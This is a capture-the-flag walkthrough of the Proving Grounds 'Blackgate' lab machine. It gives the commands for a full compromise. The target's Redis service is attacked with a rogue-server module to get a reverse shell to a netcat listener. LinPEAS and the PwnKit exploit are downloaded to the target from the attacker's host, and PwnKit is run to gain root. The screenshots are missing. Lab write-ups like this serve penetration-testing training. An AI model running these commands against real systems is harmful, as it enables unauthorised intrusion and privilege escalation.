Blackgate - Proving Grounds

Enumeration

Let's start by enumerate all TCP ports with nmap.
nmap -sCV -v -p- --min-rate 1000 -T4 192.168.198.176
Pasted image 20240916084934.png
We have SSH (port 22) and Redis (port 6379) so let's dive to Redis.

Redis - port 6379

Try to access port 6379 via http and get the following message.
http://192.168.198.176:6379/
Pasted image 20240916085209.png

In this link i found information about Redis wich i also found a POC to get a remote shell on this link wich i will use it to access data structure store wich is used as a database.
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server/RedisModulesSDK/exp/
make
Now copy .so file to to same folder with redis-rogue-server.py.
cp /root/oscp_boxes/BlackGate/redis-rogue-server/RedisModulesSDK/exp/exp.so .
Start a listener and get a reverse shell.
nc -lvnp 9999
./redis-rogue-server.py --rhost 192.168.198.176 --lhost 192.168.45.226
Pasted image 20240916091500.png
Pasted image 20240916091449.png

Privilege Escalation

Now let's get user flag and look for more information.
cd /home/prudence
ls
Pasted image 20240916092219.png
cat notes.txt
Pasted image 20240916091830.png
I notice there was no protected mode on Redis.

Disabled Protected mode - Redis

Protected mode is a security feature that was added in Redis 3.2.0 to prevent unauthorized access to the Redis server. When protected mode is enabled, Redis only accepts connections from clients connecting from the loopback interface (127.0.0.1), and rejects all others.

Let's start by checking SUID privileges.
sudo -l
Pasted image 20240916092726.png
We notice that we have a command redis-status.

Let's transfer Linpeas.sh to target machine and run it.
python3 -m http.server 80
wget http://192.168.45.226/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Pasted image 20240916093255.png

Use pwnkit

I found pwnkit and so let's download to our local machine and exploit this vulnerability.
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
wget http://192.168.45.226/PwnKit
Pasted image 20240916100051.png
chmod +x PwnKit
./PwnKit
id
Pasted image 20240916100107.png
Let's get root flag now.
cd /root
ls
Pasted image 20240916100229.png